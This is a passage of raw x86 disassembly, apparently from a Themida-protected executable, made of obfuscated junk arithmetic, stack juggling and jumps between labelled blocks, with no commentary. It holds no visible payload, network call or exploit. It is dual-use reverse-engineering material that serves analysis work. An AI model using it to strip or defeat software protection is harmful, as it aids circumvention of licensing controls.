push 37BAh
jmp loc_55EE7D
; ---------------------------------------------------------------------------
loc_570207: ; CODE XREF: sub_562ABA+A6B2j
push ebp
mov ebp, 96D40C6h
xor ebp, 445875F7h
add eax, ebp
pop ebp
pop edx
add eax, 2
xor eax, [esp+22h+var_22]
xor [esp+22h+var_22], eax
xor eax, [esp+22h+var_22]
pop esp
jmp loc_56207D
; ---------------------------------------------------------------------------
loc_570229: ; CODE XREF: sub_562ABA+AD8Aj
add al, 39h
add al, 87h
jmp near ptr unk_562D23
; ---------------------------------------------------------------------------
loc_570232: ; CODE XREF: sub_562ABA+604Bj
add edx, 8BE8BF36h
mov eax, edx
mov edx, [esp+1Eh+var_1E]
add esp, 4
and eax, 5C4B5F9Fh
jmp loc_56CAF1
; ---------------------------------------------------------------------------
loc_57024D: ; CODE XREF: sub_562ABA+5A4Dj
pop ebx
and eax, edx
jmp loc_570C3E
; ---------------------------------------------------------------------------
loc_570255: ; CODE XREF: sub_562ABA+7047j
push ecx
mov cl, 0F5h
jmp loc_56A01E
; ---------------------------------------------------------------------------
loc_57025D: ; CODE XREF: sub_562ABA+90CCj
pop ebp
add esp, 4
add ebp, 4
add ebp, 4
push ebp
push [esp+42h+var_3E]
pop ebp
pop [esp+42h+var_42]
mov esp, [esp+3Eh+var_3E]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_570281: ; CODE XREF: sub_562ABA+2902j
push edx
mov edx, 685E6643h
and edx, 6C040338h
xor edx, 68040200h
mov ebx, edx
push [esp+26h+var_28+2]
pop edx
jmp loc_5618CF
; ---------------------------------------------------------------------------
loc_57029E: ; CODE XREF: sub_562ABA-4698j
push ebp
jmp loc_56FEF8
; ---------------------------------------------------------------------------
loc_5702A4: ; CODE XREF: sub_562ABA-3C14j
push 44FBh
mov [esp+36h+var_36], esi
jmp loc_56486E
; ---------------------------------------------------------------------------
loc_5702B1: ; CODE XREF: sub_562ABA+1A26j
pop edi
xchg edx, [esp+16h+var_16]
jmp loc_56C655
; ---------------------------------------------------------------------------
loc_5702BA: ; CODE XREF: sub_562ABA+80F1j
push dword ptr [esp+0]
mov ecx, [esp+28h+var_28]
add esp, 4
add esp, 4
xor ecx, 731F72BFh
and ecx, 2E5A7E7Ah
push ebx
mov ebx, 0D0C8762h
xor ecx, ebx
pop ebx
mov esi, ecx
mov ecx, [esp+20h+var_22+2]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56499E
; ---------------------------------------------------------------------------
loc_5702F1: ; CODE XREF: sub_562ABA-3085j
mov ebx, 2EFE7AFDh
xor ebp, ebx
pop ebx
add ebx, 69FD37DEh
jmp loc_561C3E
; ---------------------------------------------------------------------------
loc_570304: ; CODE XREF: sub_562ABA+2A9Bj
pop edi
add esp, 4
jmp loc_5712A0
; ---------------------------------------------------------------------------
loc_57030D: ; CODE XREF: sub_562ABA+B7FBj
mov edx, ecx
jmp loc_570E01
; ---------------------------------------------------------------------------
loc_570314: ; CODE XREF: sub_562ABA-679j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+16h+var_16]
pop esp
jmp loc_56B745
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_570337: ; CODE XREF: sub_562ABA+C159j
pop edi
pop edi
add edi, 72E21498h
sub edi, eax
sub edi, 72E21498h
pop eax
add esi, edi
jmp loc_56A2AD
; ---------------------------------------------------------------------------
loc_57034F: ; CODE XREF: sub_562ABA+B5CFj
xor edi, 0D159504h
add edx, edi
jmp loc_568EFE
; ---------------------------------------------------------------------------
loc_57035C: ; CODE XREF: sub_562ABA+CFE8j
sub edi, 48C473FCh
jmp loc_562B4E
; ---------------------------------------------------------------------------
loc_570367: ; CODE XREF: sub_562ABA+14Ej
push edx
mov dh, 0A2h
sub dh, 0A8h
sub cl, dh
pop edx
sub bl, cl
pop ecx
add bl, cl
add bl, 7
add bl, 52h
jmp loc_56763C
; ---------------------------------------------------------------------------
loc_570380: ; DATA XREF: Themida_:0055DFCCo
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp+0], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_57038F: ; CODE XREF: sub_562ABA+E84Bj
mov edi, 4
add ebp, edi
jmp loc_56D9BC
; ---------------------------------------------------------------------------
loc_57039B: ; CODE XREF: sub_562ABA+8845j
pop esp
sub esp, 4
mov [esp+58h+var_5A+2], ebp
push edx
mov edx, 5EAC1251h
jmp loc_560956
; ---------------------------------------------------------------------------
loc_5703AD: ; CODE XREF: sub_562ABA-15E2j
add ecx, 5F196CEDh
add ecx, edi
sub ecx, 5F196CEDh
jmp loc_571E3D
; ---------------------------------------------------------------------------
loc_5703C0: ; CODE XREF: sub_562ABA-31B5j
neg ebp
neg ebp
push ebx
jmp loc_56F98E
; ---------------------------------------------------------------------------
loc_5703CA: ; CODE XREF: sub_562ABA+EA1Fj
push esp
jmp loc_5703F5
; ---------------------------------------------------------------------------
loc_5703D0: ; CODE XREF: sub_562ABA+2260j
xchg al, [esp+1]
not al
push edx
mov dl, al
mov al, [esp+5]
jmp loc_55F059
; ---------------------------------------------------------------------------
loc_5703E2: ; CODE XREF: sub_562ABA+343Fj
mov edi, 57FB11D6h
xor edi, 57FB11D2h
add ecx, edi
pop edi
jmp loc_56B7E2
; ---------------------------------------------------------------------------
loc_5703F5: ; CODE XREF: sub_562ABA+D911j
pop eax
push edx
push ebx
mov ebx, 361976C1h
jmp loc_56BC1F
; ---------------------------------------------------------------------------
loc_570402: ; CODE XREF: sub_562ABA+AB65j
push edi
jmp loc_569616
; ---------------------------------------------------------------------------
loc_570408: ; CODE XREF: sub_562ABA+2A28j
xchg edi, [esp+6+var_8+2]
pop esp
sub esp, 4
mov [esp+6+var_8+2], edi
mov edi, esp
push eax
mov eax, 4
add edi, eax
pop eax
add edi, 4
xchg edi, [esp+6+var_8+2]
jmp loc_5640F0
; ---------------------------------------------------------------------------
loc_57042B: ; CODE XREF: sub_562ABA-48ADj
mov [esp+6+var_8+2], ecx
push small 5577h
mov word ptr [esp+8+var_8], bx
mov bl, 5Bh
jmp loc_5658D1
; ---------------------------------------------------------------------------
loc_57043D: ; CODE XREF: sub_562ABA+71EDj
mov [esp+46h+var_46], edx
mov edx, 15114F85h
sub edx, 0FFFFFFFFh
shl edx, 5
jmp loc_5673A3
; ---------------------------------------------------------------------------
loc_570450: ; CODE XREF: sub_562ABA+BE37j
pop [esp+26h+var_28+2]
pop esp
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_570459: ; CODE XREF: sub_562ABA+BC58j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+3Ah+var_3A]
pop esp
mov [esp+36h+var_36], ecx
mov ecx, 1D906F1h
inc ecx
sub ecx, 1D906F0h
push esi
mov esi, 6DF131C8h
jmp loc_5687BB
; ---------------------------------------------------------------------------
loc_570481: ; CODE XREF: sub_562ABA-35BFj
mov esi, [esp+0]
add esp, 4
pop [esp+2Ah+var_2C+2]
pop esp
pop [esp+22h+var_22]
mov esp, [esp+1Eh+var_1E]
ror [esp+1Eh+var_1E], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+22h+var_22]
push 7F9Eh
mov [esp+26h+var_28+2], eax
push ebx
jmp loc_56D08E
; ---------------------------------------------------------------------------
loc_5704AF: ; CODE XREF: sub_562ABA-3D43j
mov esp, [esp+16h+var_16]
jmp sub_55E972
; ---------------------------------------------------------------------------
loc_5704B7: ; CODE XREF: sub_562ABA+8265j
mov esp, [esp+0]
or [edi+1Ch], edx
mov edx, [esp+0]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+32h+var_32]
pop esp
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5704D4: ; CODE XREF: sub_562ABA+4174j
add esp, 4
push edx
push esp
pop edx
push 56BAh
mov [esp+1Eh+var_1E], eax
mov eax, 6EBE0EC8h
jmp loc_562550
; ---------------------------------------------------------------------------
loc_5704EC: ; CODE XREF: sub_562ABA+B813j
pop ax
inc bh
inc bh
xor bh, 0EFh
add al, bh
pop ebx
add al, bl
push small 5893h
mov word ptr [esp+40h+var_42+2], dx
mov dl, 60h
push ebx
mov bh, 85h
xchg cl, bh
not cl
xchg cl, bh
neg bh
jmp loc_55E395
; ---------------------------------------------------------------------------
loc_570514: ; CODE XREF: sub_562ABA+5305j
pop edx
xor al, cl
pop cx
inc al
push edx
mov dh, 24h
shl dh, 2
shl dh, 5
sub dh, 8Fh
xor al, dh
jmp loc_56CDC6
; ---------------------------------------------------------------------------
loc_57052E: ; CODE XREF: sub_562ABA+B8EEj
mov ebx, eax
jmp loc_56228A
; ---------------------------------------------------------------------------
loc_570535: ; CODE XREF: sub_562ABA+222Fj
pop ecx
xchg edx, [esp+8+var_8]
pop esp
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, 38D70C91h
add [esp+8+var_4], 10135E7Ch
add [esp+8+var_4], 23013A22h
sub [esp+8+var_4], ebx
sub [esp+8+var_4], 23013A22h
sub [esp+8+var_4], 10135E7Ch
mov ebx, [esp+8+var_8]
jmp loc_56165F
; ---------------------------------------------------------------------------
loc_570574: ; CODE XREF: sub_562ABA+B616j
add bl, al
jmp loc_56297E
; ---------------------------------------------------------------------------
loc_57057B: ; CODE XREF: sub_562ABA-34CEj
push edx
jmp loc_566730
; ---------------------------------------------------------------------------
loc_570581: ; CODE XREF: sub_562ABA-38EBj
push 4
pop esi
jmp loc_565F2B
; ---------------------------------------------------------------------------
loc_57058C: ; CODE XREF: sub_562ABA+F715j
add ebp, 4
xchg ebp, [esp+3Eh+var_3E]
pop esp
sub esp, 4
mov [esp+3Eh+var_3E], eax
mov eax, 4
add edx, eax
pop eax
add edx, 4
xor edx, [esp+3Ah+var_3A]
xor [esp+3Ah+var_3A], edx
jmp loc_570769
; ---------------------------------------------------------------------------
loc_5705B5: ; CODE XREF: sub_562ABA+8Fj
mov ecx, [esp+16h+var_16]
add esp, 4
sub [esp+12h+var_C+2], 7CF518Ch
jmp loc_56DF21
; ---------------------------------------------------------------------------
loc_5705C8: ; CODE XREF: sub_562ABA-2345j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5705CD: ; CODE XREF: sub_562ABA+D41Bj
mov esp, [esp+2Ah+var_2C+2]
jmp loc_56838D
; ---------------------------------------------------------------------------
loc_5705D5: ; CODE XREF: sub_562ABA+9ADEj
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 1F8E5A89h
xor edx, 4673616Eh
inc edx
sub edx, 5AAB606Fh
xor edx, 0FF51DB7Dh
jmp loc_5720C6
; ---------------------------------------------------------------------------
loc_5705FC: ; CODE XREF: sub_562ABA+30EAj
not esi
push 286h
mov [esp+18h+var_1A+2], ebx
mov ebx, 3F10FCDh
xor esi, ebx
pop ebx
add eax, 57B470E6h
add eax, esi
jmp loc_56AD2C
; ---------------------------------------------------------------------------
loc_57061A: ; CODE XREF: sub_562ABA+7B9j
sub si, 3BCh
and si, 19B9h
add si, 1
shr si, 4
jmp loc_55FE41
; ---------------------------------------------------------------------------
loc_570632: ; CODE XREF: sub_562ABA+5D59j
push [esp+1Eh+var_1E]
pop eax
sub esp, 4
mov [esp+22h+var_22], edi
push esp
pop edi
push edx
jmp loc_568B9F
; ---------------------------------------------------------------------------
loc_570647: ; CODE XREF: sub_562ABA+F64Fj
mov [esp+26h+var_28+2], esi
mov esi, ebx
mov ebp, esi
mov esi, [esp+26h+var_28+2]
push ebx
push esp
pop ebx
push edx
mov edx, 4
add ebx, edx
pop edx
add ebx, 4
xchg ebx, [esp+2Ah+var_2C+2]
pop esp
pop ebx
and eax, ebp
mov ebp, [esp+22h+var_22]
add esp, 4
shr eax, 12h
xor eax, ecx
push 0A7Dh
mov [esp+22h+var_22], eax
xor [esp+22h+var_22], ecx
xor ecx, [esp+22h+var_22]
xor [esp+22h+var_22], ecx
push ecx
xchg ebp, [esp+26h+var_28+2]
not ebp
xor [esp+26h+var_28+2], ebp
xor ebp, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], ebp
jmp loc_56748C
; ---------------------------------------------------------------------------
loc_57069D: ; CODE XREF: sub_55FCA5+9Fj
add edi, 4
jmp loc_563468
; ---------------------------------------------------------------------------
loc_5706A8: ; CODE XREF: sub_562ABA-1C0Fj
sub edx, ebp
jmp loc_56D535
; ---------------------------------------------------------------------------
loc_5706AF: ; CODE XREF: sub_562ABA-57Bj
xor eax, 271E5F7Bh
or ecx, eax
pop eax
sub ecx, 3E7E7F6Ch
add edi, ecx
pop ecx
sub edi, 4
xchg edi, [esp+0]
mov esp, [esp+0]
mov [esp+0], ecx
push [esp+2Eh+var_2C+2]
jmp loc_570C6A
; ---------------------------------------------------------------------------
loc_5706D5: ; CODE XREF: sub_562ABA+37F3j
push eax
mov eax, 4
sub esi, eax
pop eax
xor esi, [esp+36h+var_36]
jmp loc_56C1FB
; ---------------------------------------------------------------------------
loc_5706E6: ; CODE XREF: sub_562ABA-4091j
sub esp, 4
mov [esp+16h+var_16], esi
push ebx
push 40842323h
mov ebx, [esp+1Eh+var_1E]
jmp loc_569123
; ---------------------------------------------------------------------------
loc_5706FA: ; CODE XREF: sub_562ABA+C30Aj
xor ebp, [esp+0]
mov esp, [esp+0]
mov [esp+0], eax
push ecx
push edi
mov edi, 280B241Ch
jmp loc_5684B1
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+8+var_8]
jmp loc_56724A
; ---------------------------------------------------------------------------
loc_570718: ; CODE XREF: sub_562ABA+6847j
or eax, eax
jnz loc_56880B
push ebp
mov ebp, esp
jmp loc_571E04
; ---------------------------------------------------------------------------
loc_570728: ; CODE XREF: sub_562ABA+2C41j
push ebx
push [esp+6+var_8+2]
mov esi, [esp+0Ah+var_C+2]
push ebp
push esp
jmp loc_56DC84
; ---------------------------------------------------------------------------
loc_570736: ; CODE XREF: sub_562ABA+5B84j
add esp, 4
jmp loc_561CB6
; ---------------------------------------------------------------------------
loc_570741: ; CODE XREF: sub_562ABA+CA6Cj
sub al, 0C4h
add al, 51h
add al, bl
sub al, 51h
push 5362h
mov [esp+1Eh+var_1E], ebx
push eax
jmp loc_56D708
; ---------------------------------------------------------------------------
loc_570757: ; CODE XREF: sub_562ABA-2733j
sub dword ptr [ecx], 31A074CDh
push [esp-10h+arg_C]
pop edx
add esp, 4
jmp loc_566676
; ---------------------------------------------------------------------------
loc_570769: ; CODE XREF: sub_562ABA+DAF6j
xor edx, [esp+3Ah+var_3A]
mov esp, [esp+3Ah+var_3A]
jmp loc_569D4D
; ---------------------------------------------------------------------------
loc_570774: ; CODE XREF: sub_562ABA+3856j
add [esp+6+var_8+2], 4
pop ebx
push eax
mov eax, 0DC07CDBh
xor eax, 5B9E7DB2h
jmp loc_5625E4
; ---------------------------------------------------------------------------
loc_570789: ; CODE XREF: sub_562ABA+196Fj
mov eax, esp
add eax, 4
push esi
jmp sub_55E72D
; ---------------------------------------------------------------------------
loc_570796: ; CODE XREF: sub_562ABA-A5Dj
add edx, 4
sub edx, 4
push edx
jmp loc_569A30
; ---------------------------------------------------------------------------
loc_5707A5: ; CODE XREF: sub_562ABA+F927j
mov ebx, 32316506h
jmp loc_566D15
; ---------------------------------------------------------------------------
loc_5707AF: ; CODE XREF: sub_562ABA+4F1j
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
jmp loc_566C7B
; ---------------------------------------------------------------------------
loc_5707C3: ; CODE XREF: sub_562ABA+88AFj
pop ebx
jmp loc_560DB0
; ---------------------------------------------------------------------------
loc_5707C9: ; CODE XREF: sub_562ABA+F4Dj
mov ebx, 92737637h
jmp loc_560B2E
; ---------------------------------------------------------------------------
loc_5707D3: ; CODE XREF: sub_562ABA+DF95j
mov [esp+32h+var_32], edi
sub esp, 4
mov [esp+36h+var_36], ecx
jmp loc_565F59
; ---------------------------------------------------------------------------
loc_5707E4: ; CODE XREF: sub_562ABA-213Dj
shr edx, 5
xor edx, 145D3AF3h
xor edx, 27F21CE2h
and ebp, edx
pop edx
not ebp
not ebp
inc ebp
sub ebp, 13420046h
mov ecx, ebp
jmp loc_567EC8
; ---------------------------------------------------------------------------
loc_570808: ; CODE XREF: sub_562ABA-1DAEj
pop esp
push 2D19h
mov [esp-0Ah+arg_4+2], eax
mov eax, 19332943h
dec eax
not eax
jmp loc_57182E
; ---------------------------------------------------------------------------
loc_57081E: ; CODE XREF: sub_562ABA+AD28j
push ebx
mov bl, 0D7h
jmp loc_56299E
; ---------------------------------------------------------------------------
loc_570826: ; CODE XREF: sub_562ABA+8B5j
pop eax
jmp loc_56BBFD
; ---------------------------------------------------------------------------
loc_57082C: ; CODE XREF: sub_562ABA+AA20j
mov ebx, [esp+2+var_4+2]
add esp, 4
pop dword ptr [esp+0]
jmp loc_56B8A9
; ---------------------------------------------------------------------------
loc_57083A: ; CODE XREF: sub_55FCA5+2A3j
add esi, 4
add esi, 4
push esi
push [esp-2+arg_0+2]
jmp loc_568FCF
; ---------------------------------------------------------------------------
loc_57084D: ; CODE XREF: sub_562ABA+8D23j
mov ebx, 7A537CE9h
push ecx
mov ecx, 66E30138h
add ecx, 13235039h
shr ecx, 8
jmp loc_564C00
; ---------------------------------------------------------------------------
loc_570866: ; CODE XREF: sub_562ABA+C7C9j
xchg edi, [esp+32h+var_32]
jmp loc_55E316
; ---------------------------------------------------------------------------
loc_57086E: ; CODE XREF: sub_562ABA+4D0j
pop ecx
add edx, esi
pop esi
xor edx, [esp+10h+var_12+2]
xor [esp+10h+var_12+2], edx
xor edx, [esp+10h+var_12+2]
mov esp, [esp+10h+var_12+2]
dec byte ptr [esp+10h+var_12+2]
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_570887: ; CODE XREF: sub_562ABA-2EC9j
shr ecx, 7
shl ecx, 6
add ecx, 0AF76DD04h
add ebp, ecx
jmp loc_568529
; ---------------------------------------------------------------------------
loc_57089A: ; CODE XREF: sub_562ABA+C69Fj
push 3316h
mov [esp+1Ah+var_1A], esi
push 1
pop esi
and eax, esi
mov esi, [esp+1Ah+var_1A]
push 4B26h
mov [esp+1Eh+var_1E], ebx
mov ebx, esp
jmp loc_567F50
; ---------------------------------------------------------------------------
loc_5708BC: ; CODE XREF: sub_562ABA+FB33j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5708C1: ; CODE XREF: sub_562ABA+96B5j
mov edi, 14FE1CCDh
and ebp, edi
pop edi
sub ebp, 95918BF4h
sub eax, 49962F7h
add eax, ebp
push ebx
mov ebx, 64BD6579h
neg ebx
dec ebx
push edx
jmp loc_568A0C
; ---------------------------------------------------------------------------
loc_5708E5: ; CODE XREF: sub_562ABA+4508j
add esp, 4
xchg ebx, [esp+16h+var_16]
jmp loc_56E6A7
; ---------------------------------------------------------------------------
loc_5708F0: ; CODE XREF: sub_562ABA+D0EAj
not edx
jmp loc_570099
; ---------------------------------------------------------------------------
loc_5708F7: ; CODE XREF: sub_562ABA-3716j
push 69B6h
mov [esp+22h+var_22], eax
mov eax, 154B593Dh
push 44C3h
mov [esp+26h+var_28+2], esi
push ecx
mov ecx, 5AAA6300h
mov esi, ecx
pop ecx
or eax, esi
mov esi, [esp+26h+var_28+2]
add esp, 4
push esi
mov esi, 7F2B0C17h
sub esi, 18932970h
jmp loc_5645A5
; ---------------------------------------------------------------------------
loc_570931: ; CODE XREF: sub_562ABA+3F22j
pop ebp
xor edi, ebx
xor ebx, edi
xor edi, ebx
push ebx
not [esp+2Ch+var_2C]
jmp loc_5661B2
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+2Ch+var_2C]
jmp loc_561C1A
; ---------------------------------------------------------------------------
loc_57094A: ; CODE XREF: sub_562ABA+7E48j
add edi, eax
pop eax
add edi, 4
jmp loc_56F575
; ---------------------------------------------------------------------------
loc_570958: ; CODE XREF: sub_562ABA+6CB6j
sub esi, 3C433F6h
jmp loc_561A47
; ---------------------------------------------------------------------------
loc_570963: ; CODE XREF: sub_562ABA-47F8j
add esp, 4
pop [esp-6+arg_0+2]
pop esp
push [esp-0Eh+arg_8+2]
jmp loc_55ED5D
; ---------------------------------------------------------------------------
loc_570975: ; CODE XREF: sub_562ABA+5928j
add ecx, 158B700Ch
jmp loc_560323
; ---------------------------------------------------------------------------
loc_570980: ; CODE XREF: sub_562ABA+A4C3j
push edx
push edi
jmp loc_56273E
; ---------------------------------------------------------------------------
loc_570987: ; CODE XREF: sub_562ABA+8C86j
xor ebp, ecx
pop ecx
or eax, ebp
pop ebp
sub eax, 21B1E78h
push esi
mov esi, 51876D55h
sub esi, 425F09C8h
add eax, esi
pop esi
jmp loc_55E6E3
; ---------------------------------------------------------------------------
loc_5709A6: ; CODE XREF: sub_562ABA+541Aj
pop edx
jmp loc_571652
; ---------------------------------------------------------------------------
loc_5709AC: ; CODE XREF: sub_562ABA+580Ej
dec edi
push eax
mov eax, 3E296858h
and eax, 0C8E5585h
sub eax, 27467DDh
jmp loc_571852
; ---------------------------------------------------------------------------
loc_5709C2: ; CODE XREF: sub_562ABA-1612j
add esp, 4
xor dl, 0B9h
neg dl
sub dl, 2Ch
jmp loc_565FFC
; ---------------------------------------------------------------------------
loc_5709D2: ; CODE XREF: sub_562ABA+9151j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5709D7: ; CODE XREF: sub_562ABA+7BFEj
pop edx
push eax
mov eax, 253A1A49h
sub eax, 0E48ACCEDh
sub ebx, eax
pop eax
sub ebx, edi
add ebx, 40AF4D5Ch
pop edi
sub ebx, 5FED07E8h
jmp loc_568D42
; ---------------------------------------------------------------------------
loc_5709FA: ; CODE XREF: sub_562ABA+E5E7j
push 800h
push dword ptr [esp+0]
pop esi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
mov [esp+0], edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 42B537DFh
xchg edi, ebp
not edi
push ebp
push edi
jmp loc_571E5E
; ---------------------------------------------------------------------------
loc_570A2F: ; CODE XREF: sub_562ABA+6CF4j
push ecx
mov ecx, 4
jmp loc_562217
; ---------------------------------------------------------------------------
loc_570A3A: ; CODE XREF: sub_562ABA+FDA2j
pop edx
inc edx
jmp loc_562158
; ---------------------------------------------------------------------------
loc_570A41: ; CODE XREF: sub_562ABA+4862j
mov esp, [esp+3Eh+var_3E]
imul cl
movzx cx, ah
push 50C8h
jmp loc_5707D3
; ---------------------------------------------------------------------------
loc_570A54: ; CODE XREF: sub_562ABA+9C6Ej
push 51C91D14h
pop ecx
not ecx
xor ecx, 0E8ECC11Ah
push ecx
add [esp+16h+var_16], 54DB779Ah
pop ebp
sub ebp, 54DB779Ah
pop ecx
shl ebp, 7
jmp loc_562488
; ---------------------------------------------------------------------------
loc_570A7A: ; CODE XREF: sub_562ABA+3283j
pop edx
push 3A52h
mov [esp-4+arg_0], ecx
jmp loc_571F7C
; ---------------------------------------------------------------------------
loc_570A88: ; CODE XREF: sub_562ABA+6EC3j
push edi
jmp loc_564797
; ---------------------------------------------------------------------------
loc_570A8E: ; CODE XREF: sub_562ABA+BF31j
mov fs:[edx], al
jmp loc_56C018
; ---------------------------------------------------------------------------
loc_570A96: ; CODE XREF: sub_562ABA+B3EDj
add ebp, 0A0000002h
add eax, ebp
pop ebp
add eax, 4
jmp loc_56E982
; ---------------------------------------------------------------------------
loc_570AA7: ; CODE XREF: sub_562ABA+A903j
push esi
mov esi, 0E515A78h
and ecx, esi
push [esp+1Eh+var_1E]
jmp loc_564CD5
; ---------------------------------------------------------------------------
loc_570AB7: ; CODE XREF: sub_562ABA+76E8j
pop ecx
xor edi, 15B5BEE9h
mov edx, edi
pop edi
sub edx, 2C5E5055h
mov ebx, edx
pop edx
sub [edi+24h], ebx
push [esp+8+var_8]
pop ebx
push esi
mov esi, esp
push ebp
jmp loc_5687F3
; ---------------------------------------------------------------------------
loc_570ADA: ; CODE XREF: sub_562ABA+5F33j
pop ebx
pop esi
xor edi, edx
mov edx, [esp+12h+var_12]
add esp, 4
mov eax, edi
pop edi
and ecx, eax
mov eax, [esp+0Ah+var_C+2]
add esp, 4
shr ecx, 0Ah
jmp loc_56CC9F
; ---------------------------------------------------------------------------
loc_570AFA: ; CODE XREF: sub_562ABA-3477j
mov esp, [esp+26h+var_28+2]
mov word ptr [esp+26h+var_28+2], si
push cx
pop si
mov cx, word ptr [esp+26h+var_28+2]
jmp loc_56F28E
; ---------------------------------------------------------------------------
loc_570B0E: ; CODE XREF: sub_562ABA+41BCj
neg edx
jmp loc_564A04
; ---------------------------------------------------------------------------
loc_570B15: ; CODE XREF: sub_562ABA+C622j
dec edx
jmp loc_565BB2
; ---------------------------------------------------------------------------
loc_570B1B: ; CODE XREF: sub_562ABA+16j
pop ebx
not ebp
inc ebp
shl ebp, 5
jmp loc_560744
; ---------------------------------------------------------------------------
loc_570B27: ; CODE XREF: sub_562ABA+5188j
push 16E8h
mov [esp+32h+var_32], edx
mov edx, 4
jmp loc_563F7D
; ---------------------------------------------------------------------------
loc_570B39: ; CODE XREF: sub_562ABA+AA0Cj
mov edx, 395C4EACh
jmp loc_56F026
; ---------------------------------------------------------------------------
loc_570B43: ; CODE XREF: sub_562ABA+4A80j
sub esp, 4
mov [esp+0Ch+var_C], ecx
mov ch, 0CBh
dec ch
shr ch, 5
push ebx
jmp loc_56290C
; ---------------------------------------------------------------------------
loc_570B56: ; CODE XREF: sub_562ABA+56D9j
add ebp, 4
sub esp, 4
mov [esp-4+arg_0], edi
mov edi, 4
add ebp, edi
pop edi
xor ebp, [esp-8+arg_4]
xor [esp-8+arg_4], ebp
xor ebp, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
jmp loc_5616CA
; ---------------------------------------------------------------------------
loc_570B7B: ; CODE XREF: sub_562ABA+244Ej
push ebp
sub esp, 4
mov [esp+8+var_8], esp
sub esp, 4
mov [esp+0Ch+var_C], ebx
mov ebx, 4
push edi
mov edi, 7E6A6A4Ch
add [esp+10h+var_8], edi
pop edi
add [esp+0Ch+var_8], ebx
sub [esp+0Ch+var_8], 7E6A6A4Ch
pop ebx
mov ebp, [esp+8+var_8]
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_569775
; ---------------------------------------------------------------------------
loc_570BC2: ; CODE XREF: sub_562ABA+D0DFj
add [esp+34h+var_32+2], 61842231h
jmp loc_55E4C3
; ---------------------------------------------------------------------------
loc_570BCF: ; CODE XREF: sub_562ABA+9FD7j
push 4
mov ebp, [esp+46h+var_46]
jmp loc_568732
; ---------------------------------------------------------------------------
loc_570BDC: ; CODE XREF: sub_562ABA+36DEj
mov ch, 9Ch
and ch, 87h
add ch, 96h
add ch, 5
sub bl, ch
jmp loc_565BEE
; ---------------------------------------------------------------------------
loc_570BEE: ; CODE XREF: sub_562ABA-26D4j
mov edx, esp
add edx, 4
jmp loc_56FB0C
; ---------------------------------------------------------------------------
loc_570BFB: ; CODE XREF: sub_562ABA+2B6Ej
pop ebx
add [esp+4], esi
pop esi
mov esi, [esp+0]
add esp, 4
add esi, 4
push ebp
push 1DBA4220h
pop ebp
add ebp, 0E245BDE4h
sub esi, 4CDC22FBh
jmp loc_56133F
; ---------------------------------------------------------------------------
loc_570C25: ; CODE XREF: sub_562ABA+33Aj
mov edx, 79800C84h
add ebp, edx
pop edx
sub ebp, 7B746520h
mov ebx, [esp+3Ah+var_3A]
add esp, 4
jmp loc_56900B
; ---------------------------------------------------------------------------
loc_570C3E: ; CODE XREF: sub_562ABA+D796j
pop edx
push esi
mov esi, 29804C04h
xor eax, esi
jmp loc_568AAE
; ---------------------------------------------------------------------------
loc_570C4C: ; CODE XREF: sub_562ABA-2093j
mov edx, ebp
jmp loc_569F20
; ---------------------------------------------------------------------------
loc_570C53: ; CODE XREF: sub_562ABA+A2C6j
mov eax, 470F4E4Ch
jmp loc_55F418
; ---------------------------------------------------------------------------
loc_570C5D: ; CODE XREF: sub_562ABA+A647j
; sub_562ABA+ADCDj
push 2A14h
mov [esp+8+var_8], edx
jmp loc_56FEBE
; ---------------------------------------------------------------------------
loc_570C6A: ; CODE XREF: sub_562ABA+DC16j
mov ecx, [esp+32h+var_32]
push edx
push esp
pop edx
jmp loc_562A61
; ---------------------------------------------------------------------------
loc_570C75: ; CODE XREF: sub_562ABA+7FE0j
push [esp+32h+var_32]
pop esi
jmp sub_561D56
; ---------------------------------------------------------------------------
loc_570C7E: ; CODE XREF: sub_562ABA+7679j
add esp, 4
push 2C49h
mov [esp+0], edi
jmp loc_567B70
; ---------------------------------------------------------------------------
loc_570C91: ; CODE XREF: sub_562ABA+3B26j
push 6702h
jmp loc_56B7DA
; ---------------------------------------------------------------------------
loc_570C9B: ; CODE XREF: sub_562ABA+D633j
pop bx
sub bx, 34h
mov si, bx
push [esp+18h+var_1A+2]
pop ebx
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp+1Ch+var_1E+2]
xor [esp+1Ch+var_1E+2], ebx
jmp loc_560F20
; ---------------------------------------------------------------------------
loc_570CC3: ; CODE XREF: sub_562ABA+9F85j
mov edx, esp
jmp loc_569751
; ---------------------------------------------------------------------------
loc_570CCA: ; CODE XREF: sub_562ABA+41E3j
mov ebp, 188F1706h
mov edi, 188F1716h
push ecx
jmp loc_560611
; ---------------------------------------------------------------------------
loc_570CDA: ; CODE XREF: sub_562ABA-F89j
inc ebp
jmp loc_56DF66
; ---------------------------------------------------------------------------
loc_570CE0: ; CODE XREF: sub_562ABA+A0E7j
sub eax, ebx
pop ebx
or eax, 1FC45F7Eh
add eax, 0B0FD4A8Bh
